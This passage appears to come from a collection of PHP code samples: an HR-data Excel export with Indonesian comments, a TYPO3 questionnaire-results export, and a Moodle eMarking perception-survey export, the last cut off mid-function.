$excel->getActiveSheet()->getStyle('AT1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n // Menampilkan semua data dari tabel rekao A1\n $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2\n $sdm01 = $this->Model_admin->tampil_a1();\n foreach ($sdm01->result_array() as $i) { // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('A' . $numrow, $i['npp'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $i['nama']);\n $excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $i['nm_pgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $i['glr_dpn']);\n $excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $i['glr_blk']);\n $excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $i['kota_lhr']);\n $excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, date('d-m-Y', strtotime($i['tgl_lhr'])));\n $excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $i['j_kelamin']);\n $excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $i['gol_darah']);\n $excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $i['agama']);\n $excel->setActiveSheetIndex(0)->setCellValue('K' . $numrow, $i['alamat_tgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('L' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('M' . $numrow, '1');\n $excel->setActiveSheetIndex(0)->setCellValue('N' . $numrow, $i['st_sipil']);\n\n $sdm02 = $this->Model_admin->get_sdm02_a1($i['npp']);\n foreach ($sdm02 as $a) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('O' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('P' . $numrow, date('d-m-Y', strtotime($a['tgl_nkh'])));\n $excel->setActiveSheetIndex(0)->setCellValue('Q' . $numrow, date('d-m-Y', strtotime($a['tgl_cerai'])));\n }\n\n $sdm02 = $this->Model_admin->get_sdm02_a1_anak($i['npp']);\n foreach ($sdm02 as $b) {\n $excel->setActiveSheetIndex(0)->setCellValue('R' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('S' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('T' . $numrow, $b['tanggungan']);\n $excel->setActiveSheetIndex(0)->setCellValue('U' . $numrow, '');\n }\n\n $sdm03 = $this->Model_admin->get_sdm03_a1($i['npp']);\n foreach ($sdm03 as $c) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('V' . $numrow, $c['kd_pend'], PHPExcel_Cell_DataType::TYPE_STRING);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValue('W' . $numrow, date('d-m-Y', strtotime($i['tgl_masuk'])));\n\n $sdm08 = $this->Model_admin->get_sdm08_a1($i['npp']);\n foreach ($sdm08 as $d) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('X' . $numrow, $d['no_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1($i['npp']);\n foreach ($sdm16 as $e) {\n $excel->setActiveSheetIndex(0)->setCellValue('Y' . $numrow, $e['kd_kelas']);\n $excel->setActiveSheetIndex(0)->setCellValue('Z' . $numrow, date('d-m-Y', strtotime($e['kls_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AA' . $numrow, $e['kls_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n foreach ($sdm16 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AB' . $numrow, $a['golongan'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AC' . $numrow, $a['mk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AD' . $numrow, date('d-m-Y', strtotime($a['gol_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AE' . $numrow, $a['gol_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AF' . $numrow, '');\n }\n\n $sdm08 = $this->Model_admin->get_sdm08_a1_akhir($i['npp']);\n foreach ($sdm08 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AG' . $numrow, $a['kd_kbn'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AH' . $numrow, $a['kd_adf'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AI' . $numrow, $a['kd_jab'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $jab = $this->Model_admin->get_jabatan($a['kd_jab']);\n foreach ($jab as $jab) {\n $excel->setActiveSheetIndex(0)->setCellValue('AJ' . $numrow, $jab['nama']);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AK' . $numrow, $a['kd_bud'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AL' . $numrow, date('d-m-Y', strtotime($a['jab_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AM' . $numrow, $a['jab_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AN' . $numrow, date('d-m-Y', strtotime($a['jab_tgl'])));\n }\n\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AO' . $numrow, $i['no_astek'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AP' . $numrow, $i['no_pens'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AQ' . $numrow, $i['no_kk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AR' . $numrow, $i['no_nik'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AS' . $numrow, $i['no_bpjs'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n $golongan = $sdm16[0]['golongan'];\n $golongan = (int)$golongan;\n if ($golongan >= 0 and $golongan <= 8) {\n $tgl_pen = date('Y-m-d', strtotime('+55 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n if ($golongan >= 9 and $golongan <= 16) {\n $tgl_pen = date('Y-m-d', strtotime('+56 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n\n $sdm01 = $this->Model_admin->tampil_a1($i['npp'])->result_array();\n $skrng = date_create($sdm01[0]['tgl_masuk']);\n $tgl_pen = date_create($tgl_pen);\n\n $diff = date_diff($skrng, $tgl_pen);\n\n if ($diff->y > 57) {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n } else {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, $diff->y);\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, $diff->m);\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, $diff->d);\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n }\n\n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Q' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('R' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(50);\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(20);\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('O')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('P')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('Q')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('R')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('S')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('T')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('U')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('V')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('W')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('X')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('Y')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('Z')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AA')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AB')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AC')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AE')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AF')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AG')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AH')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AJ')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AK')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AL')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AM')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AN')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AO')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AP')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AQ')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AR')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AS')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AT')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AU')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AV')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AW')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AX')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AY')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AZ')->setWidth(5);\n\n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Data A1\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data A1' . $date . '.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n header('Content-Transfer-Encoding: binary');\n header('Accept-Ranges: bytes');\n header('Cache-control: no-cache, pre-check=0, post-check=0');\n header('Cache-control: private');\n header('Pragma: private');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // any date in the past\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "private function createQuestionnaireStat(Tx_HsQuestionnaire_Excel_QuestionnaireExcel $excelObj) {\n\t\t/**\n\t\t * Set the headline\n\t\t */\n\t\t$excelObj->getActiveSheet()->setCellValue('A1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.certificate', $this->extensionName));\n\t\t$excelObj->getActiveSheet()->setCellValue('B1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.lastname', $this->extensionName));\n\t\t$excelObj->getActiveSheet()->setCellValue('C1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.firstname', $this->extensionName));\n\t\t$excelObj->getActiveSheet()->setCellValue('D1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.company', $this->extensionName));\n\t\t$excelObj->getActiveSheet()->setCellValue('E1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.group', $this->extensionName));\n\t\t$excelObj->getActiveSheet()->setCellValue('F1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.status', $this->extensionName));\n\t\t$excelObj->getActiveSheet()->setCellValue('G1', Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.givendate', $this->extensionName));\n\t\t$counter = 2;\n\n\t\t/**\n\t\t * get all questionnaires and find the results of them\n\t\t */\n\t\t$questionnaires = $this->questionnaireRepository->findAll();\n\t\tforeach ($questionnaires as $questionnaire) {\n\t\t\t$results = $this->resultRepository->findByQuestionnaire($questionnaire->getUid());\n\n\t\t\t/**\n\t\t\t * if we have no certificate for the questionnaire, an error will accur\n\t\t\t */\n\t\t\t$certificateTitle = $questionnaire->getCertificate()->getTitle();\n\n\t\t\t/**\n\t\t\t * walking throught every found result,\n\t\t\t * get the user and it's usergroup\n\t\t\t *\n\t\t\t * create a line and with the data\n\t\t\t */\n\t\t\tforeach ($results as $result) {\n\t\t\t\t$feuser = $this->feuserRepository->findByUid($result->getFeuser());\n\t\t\t\t$fegroup = $this->fegroupRepository->findByUid($feuser->getUsergroup());\n\n\t\t\t\t\t// test for first and last name\n\t\t\t\tif ($feuser->getFirstName() != '' && $feuser->getLastName() != '') {\n\t\t\t\t\t$fristName = $feuser->getFirstName();\n\t\t\t\t\t$lastName = $feuser->getLastName();\n\t\t\t\t}\n\n\t\t\t\t$cc = 'A' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, $certificateTitle);\n\t\t\t\t$cc = 'B' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, $lastName);\n\t\t\t\t$cc = 'C' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, $fristName);\n\t\t\t\t$cc = 'D' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, $feuser->getCompany());\n\t\t\t\t$cc = 'E' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, $fegroup->getTitle());\n\n\t\t\t\t/**\n\t\t\t\t * check status, if it's passed, failed or abborded\n\t\t\t\t */\n\t\t\t\t$status = $this->getStatus($result->getStatus());\n\n\t\t\t\t/**\n\t\t\t\t * add status and finished date\n\t\t\t\t */\n\t\t\t\t$cc = 'F' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, $status);\n\t\t\t\t$cc = 'G' . $counter;\n\t\t\t\t$excelObj->getActiveSheet()->setCellValue($cc, PHPExcel_Shared_Date::PHPToExcel($result->getFinished()));\n\t\t\t\t$excelObj->getActiveSheet()->getStyle($cc)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DMYSLASH);\n\n\t\t\t\t/**\n\t\t\t\t * update counter twice, after current result and current questionnaire\n\t\t\t\t */\n\t\t\t\t$counter++;\n\t\t\t}\n\t\t\t$counter++;\n\t\t}\n\n\t\t/**\n\t\t * set the active page title and put a flash message\n\t\t */\n\t\t$excelObj->getActiveSheet()->setTitle(utf8_decode(Tx_Extbase_Utility_Localization::translate('tx_hsquestionnaire_excel.subjectCertificates', $this->extensionName)));\n\t\t$excelObj->setActiveSheetIndex(0);\n\t\t$this->flashMessageContainer->add($counter . ' rows has been written.', '', t3lib_Flashmessage::OK);\n\n\t\treturn $excelObj;\n\t}", "function emarking_download_excel_perception($emarking, $context) {\n global $DB;\n list($enrolleduserssql, $params) = get_enrolled_sql($context);\n $csvsql = \"\nSELECT\n u.id,\n\tc.fullname as course,\n e.name as exam,\n c.shortname,\n u.username,\n u.firstname,\n u.lastname,\n u.idnumber,\n cr.id AS criterion,\n cr.description,\n epc.overall_fairness,\n epc.expectation_reality,\n ep.comment,\n d.grade\nFROM {emarking} e\nINNER JOIN {emarking_submission} s ON (e.id = :emarking AND s.emarking = e.id)\nINNER JOIN {emarking_draft} d ON (d.submissionid = s.id)\nINNER JOIN {user} u ON (s.student = u.id)\nINNER JOIN {course} c ON (e.course = c.id)\nLEFT JOIN {emarking_perception} ep ON (s.id = ep.submission)\nLEFT JOIN {emarking_perception_criteria} epc ON (ep.id = epc.perception)\nLEFT JOIN {gradingform_rubric_criteria} cr ON (epc.criterion=cr.id)\nWHERE u.id IN ($enrolleduserssql)\nORDER BY c.shortname, u.lastname, u.firstname\";\n $params ['emarking'] = $emarking->id;\n // Get data and generate a list of questions.\n $rows = $DB->get_recordset_sql($csvsql, $params);\n $questions = array();\n foreach ($rows as $row) {\n if (array_search($row->description, $questions) === false && $row->description) {\n $questions [] = $row->description;\n }\n }\n $current = 0;\n $laststudent = 0;\n $headers = array(\n '00course' => get_string('course'),\n '01exam' => get_string('exam', 'mod_emarking'),\n '02idnumber' => get_string('idnumber'),\n '03lastname' => get_string('lastname'),\n '04firstname' => get_string('firstname'));\n $tabledata = array();\n $data = null;\n $rows = $DB->get_recordset_sql($csvsql, $params);\n $studentname = '';\n $lastrow = null;\n foreach ($rows as $row) {\n $index = 10 + array_search($row->description, $questions);\n $keyquestion = $index . \"\" . $row->description;\n if (! isset($headers [$keyquestion . \"-OF\"]) && $row->description) {\n $headers [$keyquestion . \"-OF\"] = \"OF-\" . $row->description;\n $headers [$keyquestion . \"-ER\"] = \"ER-\" . $row->description;\n }\n if ($laststudent != $row->id) {\n if ($laststudent > 0) {\n $tabledata [$studentname] = $data;\n $current ++;\n }\n $data = array(\n '00course' => $row->course,\n '01exam' => $row->exam,\n '02idnumber' => $row->idnumber,\n '03lastname' => $row->lastname,\n '04firstname' => $row->firstname,\n '99grade' => $row->grade);\n $laststudent = intval($row->id);\n $studentname = $row->lastname . ',' . $row->firstname;\n }\n if ($row->description) {\n $data [$keyquestion . \"-OF\"] = $row->overall_fairness;\n $data [$keyquestion . \"-ER\"] = $row->expectation_reality;\n }\n $lastrow = $row;\n }\n $studentname = $lastrow->lastname . ',' . $lastrow->firstname;\n $tabledata [$studentname] = $data;\n $headers 